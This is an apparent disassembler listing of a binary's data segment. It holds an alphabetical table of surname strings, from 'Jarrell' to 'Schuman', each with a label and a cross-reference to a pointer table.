aJarrell db 'Jarrell',0 ; DATA XREF: seg002:00440378o
aJay db 'Jay',0 ; DATA XREF: seg002:0044037Co
aJeffers db 'Jeffers',0 ; DATA XREF: seg002:00440380o
aJellis db 'Jellis',0 ; DATA XREF: seg002:00440384o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: seg002:00440388o
aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0044038Co
align 4
aJewett db 'Jewett',0 ; DATA XREF: seg002:00440390o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:00440394o
aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:00440398o
align 4
aJohns db 'Johns',0 ; DATA XREF: seg002:0044039Co
align 4
aJolly db 'Jolly',0 ; DATA XREF: seg002:004403A0o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:004403A4o
align 4
aJucks db 'Jucks',0 ; DATA XREF: seg002:004403A8o
align 10h
aJuliano db 'Juliano',0 ; DATA XREF: seg002:004403ACo
aJulious db 'Julious',0 ; DATA XREF: seg002:004403B0o
aKabbash db 'Kabbash',0 ; DATA XREF: seg002:004403B4o
aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:004403B8o
align 4
aKafadar db 'Kafadar',0 ; DATA XREF: seg002:004403BCo
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:004403C0o
aKaligian db 'Kaligian',0 ; DATA XREF: seg002:004403C4o
align 4
aKalil db 'Kalil',0 ; DATA XREF: seg002:004403C8o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:004403CCo
align 4
aKalman db 'Kalman',0 ; DATA XREF: seg002:004403D0o
align 10h
aKamel db 'Kamel',0 ; DATA XREF: seg002:004403D4o
align 4
aKangis db 'Kangis',0 ; DATA XREF: seg002:004403D8o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:004403DCo
align 4
aKassower db 'Kassower',0 ; DATA XREF: seg002:004403E0o
align 4
aKasten db 'Kasten',0 ; DATA XREF: seg002:004403E4o
align 10h
aKawachi db 'Kawachi',0 ; DATA XREF: seg002:004403E8o
aKee db 'Kee',0 ; DATA XREF: seg002:004403ECo
aKeenan db 'Keenan',0 ; DATA XREF: seg002:004403F0o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: seg002:004403F4o
aKeith db 'Keith',0 ; DATA XREF: seg002:004403F8o
align 4
aKelker db 'Kelker',0 ; DATA XREF: seg002:004403FCo
align 4
aKelsey db 'Kelsey',0 ; DATA XREF: seg002:00440400o
align 4
aKempton db 'Kempton',0 ; DATA XREF: seg002:00440404o
aKemsley db 'Kemsley',0 ; DATA XREF: seg002:00440408o
aKendall db 'Kendall',0 ; DATA XREF: seg002:0044040Co
aKerry db 'Kerry',0 ; DATA XREF: seg002:00440410o
align 4
aKeul db 'Keul',0 ; DATA XREF: seg002:00440414o
align 4
aKhong db 'Khong',0 ; DATA XREF: seg002:00440418o
align 4
aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0044041Co
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: seg002:00440420o
aKimura db 'Kimura',0 ; DATA XREF: seg002:00440424o
align 4
aKindall db 'Kindall',0 ; DATA XREF: seg002:00440428o
aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0044042Co
aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:00440430o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: seg002:00440434o
aKittridge db 'Kittridge',0 ; DATA XREF: seg002:00440438o
align 10h
aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0044043Co
align 4
aKleiman db 'Kleiman',0 ; DATA XREF: seg002:00440440o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:00440444o
aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:00440448o
align 4
aKling db 'Kling',0 ; DATA XREF: seg002:0044044Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:00440450o
aKlint db 'Klint',0 ; DATA XREF: seg002:00440454o
align 4
aKnuff db 'Knuff',0 ; DATA XREF: seg002:00440458o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0044045Co
aKoch db 'Koch',0 ; DATA XREF: seg002:00440460o
align 10h
aKohn db 'Kohn',0 ; DATA XREF: seg002:00440464o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:00440468o
align 4
aKommer db 'Kommer',0 ; DATA XREF: seg002:0044046Co
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:00440470o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: seg002:00440474o
align 10h
aKool db 'Kool',0 ; DATA XREF: seg002:00440478o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0044047Co
align 4
aKotter db 'Kotter',0 ; DATA XREF: seg002:00440480o
align 4
aKovaks db 'Kovaks',0 ; DATA XREF: seg002:00440484o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: seg002:00440488o
aKrailo db 'Krailo',0 ; DATA XREF: seg002:0044048Co
align 4
aKrasney db 'Krasney',0 ; DATA XREF: seg002:00440490o
aKraus db 'Kraus',0 ; DATA XREF: seg002:00440494o
align 4
aKroemer db 'Kroemer',0 ; DATA XREF: seg002:00440498o
aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0044049Co
aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:004404A0o
aKumar db 'Kumar',0 ; DATA XREF: seg002:004404A4o
align 4
aKusman db 'Kusman',0 ; DATA XREF: seg002:004404A8o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:004404ACo
align 4
aLa db 'La',0 ; DATA XREF: seg002:004404B0o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: seg002:004404B4o
aLafler db 'Lafler',0 ; DATA XREF: seg002:004404B8o
align 4
aLaing db 'Laing',0 ; DATA XREF: seg002:004404BCo
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: seg002:004404C0o
align 10h
aLandes db 'Landes',0 ; DATA XREF: seg002:004404C4o
align 4
aLankes db 'Lankes',0 ; DATA XREF: seg002:004404C8o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: seg002:004404CCo
align 4
aLanzit db 'Lanzit',0 ; DATA XREF: seg002:004404D0o
align 4
aLaserna db 'Laserna',0 ; DATA XREF: seg002:004404D4o
aLashley db 'Lashley',0 ; DATA XREF: seg002:004404D8o
aLawless db 'Lawless',0 ; DATA XREF: seg002:004404DCo
aLecar db 'Lecar',0 ; DATA XREF: seg002:004404E0o
align 4
aLecce db 'Lecce',0 ; DATA XREF: seg002:004404E4o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:004404E8o
align 4
aLeite db 'Leite',0 ; DATA XREF: seg002:004404ECo
align 10h
aLenard db 'Lenard',0 ; DATA XREF: seg002:004404F0o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:004404F4o
align 4
aLesser db 'Lesser',0 ; DATA XREF: seg002:004404F8o
align 4
aLessi db 'Lessi',0 ; DATA XREF: seg002:004404FCo
align 4
aLiakos db 'Liakos',0 ; DATA XREF: seg002:00440500o
align 4
aLidano db 'Lidano',0 ; DATA XREF: seg002:00440504o
align 4
aLiem db 'Liem',0 ; DATA XREF: seg002:00440508o
align 4
aLight db 'Light',0 ; DATA XREF: seg002:0044050Co
align 4
aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:00440510o
align 10h
aLim db 'Lim',0 ; DATA XREF: seg002:00440514o
aLinares db 'Linares',0 ; DATA XREF: seg002:00440518o
aLinda db 'Linda',0 ; DATA XREF: seg002:0044051Co
align 4
aLinder db 'Linder',0 ; DATA XREF: seg002:00440520o
align 4
aLine_0 db 'Line',0 ; DATA XREF: seg002:00440524o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: seg002:00440528o
aLinzee db 'Linzee',0 ; DATA XREF: seg002:0044052Co
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: seg002:00440530o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: seg002:00440534o
align 4
aLittle db 'Little',0 ; DATA XREF: seg002:00440538o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: seg002:0044053Co
align 4
aLivernash db 'Livernash',0 ; DATA XREF: seg002:00440540o
align 4
aLivi db 'Livi',0 ; DATA XREF: seg002:00440544o
align 10h
aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:00440548o
aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0044054Co
aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:00440550o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: seg002:00440554o
align 4
aLoss db 'Loss',0 ; DATA XREF: seg002:00440558o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: seg002:0044055Co
aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:00440560o
align 4
aLoza db 'Loza',0 ; DATA XREF: seg002:00440564o
align 4
aLubin db 'Lubin',0 ; DATA XREF: seg002:00440568o
align 4
aLucas db 'Lucas',0 ; DATA XREF: seg002:0044056Co
align 4
aLuciano db 'Luciano',0 ; DATA XREF: seg002:00440570o
aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:00440574o
aLuecke db 'Luecke',0 ; DATA XREF: seg002:00440578o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0044057Co
aLuoma db 'Luoma',0 ; DATA XREF: seg002:00440580o
align 4
aLussier db 'Lussier',0 ; DATA XREF: seg002:00440584o
aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:00440588o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: seg002:0044058Co
aMa db 'Ma',0 ; DATA XREF: seg002:00440590o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:00440594o
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:00440598o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0044059Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:004405A0o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: seg002:004405A4o
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:004405A8o
align 4
aMacy db 'Macy',0 ; DATA XREF: seg002:004405ACo
align 4
aMadigan db 'Madigan',0 ; DATA XREF: seg002:004405B0o
aMaggio db 'Maggio',0 ; DATA XREF: seg002:004405B4o
align 4
aMahony db 'Mahony',0 ; DATA XREF: seg002:004405B8o
align 4
aMaier db 'Maier',0 ; DATA XREF: seg002:004405BCo
align 4
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:004405C0o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: seg002:004405C4o
aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:004405C8o
align 4
aMaller db 'Maller',0 ; DATA XREF: seg002:004405CCo
align 10h
aMalova db 'Malova',0 ; DATA XREF: seg002:004405D0o
align 4
aManalis db 'Manalis',0 ; DATA XREF: seg002:004405D4o
aMandel db 'Mandel',0 ; DATA XREF: seg002:004405D8o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: seg002:004405DCo
aMantovan db 'Mantovan',0 ; DATA XREF: seg002:004405E0o
align 10h
aMarch_0 db 'March',0 ; DATA XREF: seg002:004405E4o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:004405E8o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: seg002:004405ECo
align 4
aMargalit db 'Margalit',0 ; DATA XREF: seg002:004405F0o
align 4
aMargetts db 'Margetts',0 ; DATA XREF: seg002:004405F4o
align 4
aMarques db 'Marques',0 ; DATA XREF: seg002:004405F8o
aMartinez db 'Martinez',0 ; DATA XREF: seg002:004405FCo
align 4
aMartochio db 'Martochio',0 ; DATA XREF: seg002:00440600o
align 4
aMarton db 'Marton',0 ; DATA XREF: seg002:00440604o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: seg002:00440608o
align 4
aMass db 'Mass',0 ; DATA XREF: seg002:0044060Co
align 10h
aMatalka db 'Matalka',0 ; DATA XREF: seg002:00440610o
aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:00440614o
align 4
aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:00440618o
align 10h
aMattson db 'Mattson',0 ; DATA XREF: seg002:0044061Co
aMauzy db 'Mauzy',0 ; DATA XREF: seg002:00440620o
align 10h
aMay_0 db 'May',0 ; DATA XREF: seg002:00440624o
aMazzali db 'Mazzali',0 ; DATA XREF: seg002:00440628o
aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0044062Co
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: seg002:00440630o
aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:00440634o
align 4
aMccall db 'Mccall',0 ; DATA XREF: seg002:00440638o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0044063Co
align 10h
aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:00440640o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:00440644o
aMcfadden db 'McFadden',0 ; DATA XREF: seg002:00440648o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0044064Co
align 4
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:00440650o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:00440654o
aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:00440658o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0044065Co
aMclane db 'Mclane',0 ; DATA XREF: seg002:00440660o
align 4
aMclaren db 'Mclaren',0 ; DATA XREF: seg002:00440664o
aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:00440668o
aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0044066Co
aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:00440670o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:00440674o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: seg002:00440678o
aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0044067Co
align 4
aMerlani db 'Merlani',0 ; DATA XREF: seg002:00440680o
aMerminod db 'Merminod',0 ; DATA XREF: seg002:00440684o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: seg002:00440688o
aMerz db 'Merz',0 ; DATA XREF: seg002:0044068Co
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: seg002:00440690o
aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:00440694o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: seg002:00440698o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: seg002:0044069Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: seg002:004406A0o
align 10h
aMieher db 'Mieher',0 ; DATA XREF: seg002:004406A4o
align 4
aMills db 'Mills',0 ; DATA XREF: seg002:004406A8o
align 10h
aMinh db 'Minh',0 ; DATA XREF: seg002:004406ACo
align 4
aMini db 'Mini',0 ; DATA XREF: seg002:004406B0o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:004406B4o
aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:004406B8o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:004406BCo
aMittal db 'Mittal',0 ; DATA XREF: seg002:004406C0o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: seg002:004406C4o
aModestino db 'Modestino',0 ; DATA XREF: seg002:004406C8o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: seg002:004406CCo
aMohr db 'Mohr',0 ; DATA XREF: seg002:004406D0o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:004406D4o
align 4
aMonque db 'Monque',0 ; DATA XREF: seg002:004406D8o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: seg002:004406DCo
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:004406E0o
align 4
aMorani db 'Morani',0 ; DATA XREF: seg002:004406E4o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: seg002:004406E8o
aMorrison db 'Morrison',0 ; DATA XREF: seg002:004406ECo
align 4
aMorrow db 'Morrow',0 ; DATA XREF: seg002:004406F0o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: seg002:004406F4o
align 4
aMosher db 'Mosher',0 ; DATA XREF: seg002:004406F8o
align 4
aMosler db 'Mosler',0 ; DATA XREF: seg002:004406FCo
align 4
aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:00440700o
align 4
aMotooka db 'Motooka',0 ; DATA XREF: seg002:00440704o
aMudarri db 'Mudarri',0 ; DATA XREF: seg002:00440708o
aMuello db 'Muello',0 ; DATA XREF: seg002:0044070Co
align 10h
aMugnai db 'Mugnai',0 ; DATA XREF: seg002:00440710o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: seg002:00440714o
aMulroy db 'Mulroy',0 ; DATA XREF: seg002:00440718o
align 4
aMumford db 'Mumford',0 ; DATA XREF: seg002:0044071Co
aMussachio db 'Mussachio',0 ; DATA XREF: seg002:00440720o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:00440724o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:00440728o
align 10h
aNardi db 'Nardi',0 ; DATA XREF: seg002:0044072Co
align 4
aNardone db 'Nardone',0 ; DATA XREF: seg002:00440730o
aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:00440734o
aNayduch db 'Nayduch',0 ; DATA XREF: seg002:00440738o
aNelson db 'Nelson',0 ; DATA XREF: seg002:0044073Co
align 4
aNenna db 'Nenna',0 ; DATA XREF: seg002:00440740o
align 10h
aNesci db 'Nesci',0 ; DATA XREF: seg002:00440744o
align 4
aNeuman db 'Neuman',0 ; DATA XREF: seg002:00440748o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0044074Co
aNewlin db 'Newlin',0 ; DATA XREF: seg002:00440750o
align 10h
aNg db 'Ng',0 ; DATA XREF: seg002:00440754o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: seg002:00440758o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0044075Co
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:00440760o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: seg002:00440764o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: seg002:00440768o
align 4
aNotman db 'Notman',0 ; DATA XREF: seg002:0044076Co
align 10h
aNuzum db 'Nuzum',0 ; DATA XREF: seg002:00440770o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: seg002:00440774o
aOgata db 'Ogata',0 ; DATA XREF: seg002:00440778o
align 4
aOh db 'Oh',0 ; DATA XREF: seg002:0044077Co
align 4
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:00440780o
aOldford db 'Oldford',0 ; DATA XREF: seg002:00440784o
aOlsen db 'Olsen',0 ; DATA XREF: seg002:00440788o
align 4
aOlson db 'Olson',0 ; DATA XREF: seg002:0044078Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:00440790o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:00440794o
align 4
aOman db 'Oman',0 ; DATA XREF: seg002:00440798o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0044079Co
aOpel db 'Opel',0 ; DATA XREF: seg002:004407A0o
align 4
aOray db 'Oray',0 ; DATA XREF: seg002:004407A4o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: seg002:004407A8o
aOrsi db 'Orsi',0 ; DATA XREF: seg002:004407ACo
align 4
aOspina db 'Ospina',0 ; DATA XREF: seg002:004407B0o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:004407B4o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:004407B8o
align 4
aOtten db 'Otten',0 ; DATA XREF: seg002:004407BCo
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: seg002:004407C0o
aOvid db 'Ovid',0 ; DATA XREF: seg002:004407C4o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:004407C8o
align 4
aPaine db 'Paine',0 ; DATA XREF: seg002:004407CCo
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:004407D0o
align 10h
aPalepu db 'Palepu',0 ; DATA XREF: seg002:004407D4o
align 4
aPallara db 'Pallara',0 ; DATA XREF: seg002:004407D8o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:004407DCo
align 4
aPanadero db 'Panadero',0 ; DATA XREF: seg002:004407E0o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:004407E4o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: seg002:004407E8o
align 10h
aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:004407ECo
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:004407F0o
aParris db 'Parris',0 ; DATA XREF: seg002:004407F4o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: seg002:004407F8o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: seg002:004407FCo
align 4
aPatefield db 'Patefield',0 ; DATA XREF: seg002:00440800o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: seg002:00440804o
aPattullo db 'Pattullo',0 ; DATA XREF: seg002:00440808o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0044080Co
aPavlon db 'Pavlon',0 ; DATA XREF: seg002:00440810o
align 4
aPawloski db 'Pawloski',0 ; DATA XREF: seg002:00440814o
align 4
aPaynter db 'Paynter',0 ; DATA XREF: seg002:00440818o
aPeabody db 'Peabody',0 ; DATA XREF: seg002:0044081Co
aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:00440820o
align 10h
aPederson db 'Pederson',0 ; DATA XREF: seg002:00440824o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: seg002:00440828o
aPenny db 'Penny',0 ; DATA XREF: seg002:0044082Co
align 4
aPereira db 'Pereira',0 ; DATA XREF: seg002:00440830o
aPerko db 'Perko',0 ; DATA XREF: seg002:00440834o
align 4
aPerlak db 'Perlak',0 ; DATA XREF: seg002:00440838o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: seg002:0044083Co
aPerna db 'Perna',0 ; DATA XREF: seg002:00440840o
align 4
aPerone db 'Perone',0 ; DATA XREF: seg002:00440844o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:00440848o
align 4
aPeters db 'Peters',0 ; DATA XREF: seg002:0044084Co
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:00440850o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: seg002:00440854o
align 4
aPettit db 'Pettit',0 ; DATA XREF: seg002:00440858o
align 10h
aPfister db 'Pfister',0 ; DATA XREF: seg002:0044085Co
aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:00440860o
aPinot db 'Pinot',0 ; DATA XREF: seg002:00440864o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: seg002:00440868o
aPlant db 'Plant',0 ; DATA XREF: seg002:0044086Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: seg002:00440870o
aPlous db 'Plous',0 ; DATA XREF: seg002:00440874o
align 4
aPo db 'Po',0 ; DATA XREF: seg002:00440878o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0044087Co
align 4
aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:00440880o
align 4
aPointer db 'Pointer',0 ; DATA XREF: seg002:00440884o
aPoirier db 'Poirier',0 ; DATA XREF: seg002:00440888o
aPolak db 'Polak',0 ; DATA XREF: seg002:0044088Co
align 4
aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:00440890o
aPolitis db 'Politis',0 ; DATA XREF: seg002:00440894o
aPoma db 'Poma',0 ; DATA XREF: seg002:00440898o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: seg002:0044089Co
aPowers db 'Powers',0 ; DATA XREF: seg002:004408A0o
align 4
aPresper db 'Presper',0 ; DATA XREF: seg002:004408A4o
aPreucel db 'Preucel',0 ; DATA XREF: seg002:004408A8o
aPrevost db 'Prevost',0 ; DATA XREF: seg002:004408ACo
aPritchard db 'Pritchard',0 ; DATA XREF: seg002:004408B0o
align 4
aPritz db 'Pritz',0 ; DATA XREF: seg002:004408B4o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: seg002:004408B8o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:004408BCo
align 4
aPuccia db 'Puccia',0 ; DATA XREF: seg002:004408C0o
align 4
aPugh db 'Pugh',0 ; DATA XREF: seg002:004408C4o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: seg002:004408C8o
aQuaday db 'Quaday',0 ; DATA XREF: seg002:004408CCo
align 4
aQuetin db 'Quetin',0 ; DATA XREF: seg002:004408D0o
align 4
aRabe db 'Rabe',0 ; DATA XREF: seg002:004408D4o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: seg002:004408D8o
align 4
aRadeke db 'Radeke',0 ; DATA XREF: seg002:004408DCo
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:004408E0o
aRaney db 'Raney',0 ; DATA XREF: seg002:004408E4o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: seg002:004408E8o
align 4
aRankin db 'Rankin',0 ; DATA XREF: seg002:004408ECo
align 10h
aRapple db 'Rapple',0 ; DATA XREF: seg002:004408F0o
align 4
aRayport db 'Rayport',0 ; DATA XREF: seg002:004408F4o
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:004408F8o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: seg002:004408FCo
align 4
aCunningham db 'Cunningham',0 ; DATA XREF: seg002:00440900o
align 4
aReinold db 'Reinold',0 ; DATA XREF: seg002:00440904o
aRemak db 'Remak',0 ; DATA XREF: seg002:00440908o
align 4
aRenick db 'Renick',0 ; DATA XREF: seg002:0044090Co
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: seg002:00440910o
aResnik db 'Resnik',0 ; DATA XREF: seg002:00440914o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: seg002:00440918o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: seg002:0044091Co
align 4
aRielly db 'Rielly',0 ; DATA XREF: seg002:00440920o
align 4
aRindos db 'Rindos',0 ; DATA XREF: seg002:00440924o
align 4
aRineer db 'Rineer',0 ; DATA XREF: seg002:00440928o
align 4
aRish db 'Rish',0 ; DATA XREF: seg002:0044092Co
align 4
aRivera db 'Rivera',0 ; DATA XREF: seg002:00440930o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: seg002:00440934o
align 4
aRocha db 'Rocha',0 ; DATA XREF: seg002:00440938o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: seg002:0044093Co
aRogers db 'Rogers',0 ; DATA XREF: seg002:00440940o
align 10h
aRonen db 'Ronen',0 ; DATA XREF: seg002:00440944o
align 4
aRow db 'Row',0 ; DATA XREF: seg002:00440948o
aRoyal db 'Royal',0 ; DATA XREF: seg002:0044094Co
align 4
aRu db 'Ru',0 ; DATA XREF: seg002:00440950o
align 4
aRuan db 'Ruan',0 ; DATA XREF: seg002:00440954o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: seg002:00440958o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0044095Co
align 4
aRush db 'Rush',0 ; DATA XREF: seg002:00440960o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: seg002:00440964o
aSabatello db 'Sabatello',0 ; DATA XREF: seg002:00440968o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: seg002:0044096Co
align 4
aSafire db 'Safire',0 ; DATA XREF: seg002:00440970o
align 10h
aSahu db 'Sahu',0 ; DATA XREF: seg002:00440974o
align 4
aSali db 'Sali',0 ; DATA XREF: seg002:00440978o
align 10h
aSamson db 'Samson',0 ; DATA XREF: seg002:0044097Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:00440980o
aSanna db 'Sanna',0 ; DATA XREF: seg002:00440984o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: seg002:00440988o
align 4
aSarin db 'Sarin',0 ; DATA XREF: seg002:0044098Co
align 10h
aSartore db 'Sartore',0 ; DATA XREF: seg002:00440990o
aSase db 'Sase',0 ; DATA XREF: seg002:00440994o
align 10h
aSatin db 'Satin',0 ; DATA XREF: seg002:00440998o
align 4
aSatta db 'Satta',0 ; DATA XREF: seg002:0044099Co
align 10h
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:004409A0o
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: seg002:004409A4o
aSayied db 'Sayied',0 ; DATA XREF: seg002:004409A8o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: seg002:004409ACo
align 4
aScepan db 'Scepan',0 ; DATA XREF: seg002:004409B0o
align 4
aScharf db 'Scharf',0 ; DATA XREF: seg002:004409B4o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:004409B8o
aScheiner db 'Scheiner',0 ; DATA XREF: seg002:004409BCo
align 4
aSchiano db 'Schiano',0 ; DATA XREF: seg002:004409C0o
aSchifini db 'Schifini',0 ; DATA XREF: seg002:004409C4o
align 4
aSchilling db 'Schilling',0 ; DATA XREF: seg002:004409C8o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:004409CCo
aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:004409D0o
align 4
aSchuman db 'Schuman',0 ; DATA XREF: seg002:004409D4o
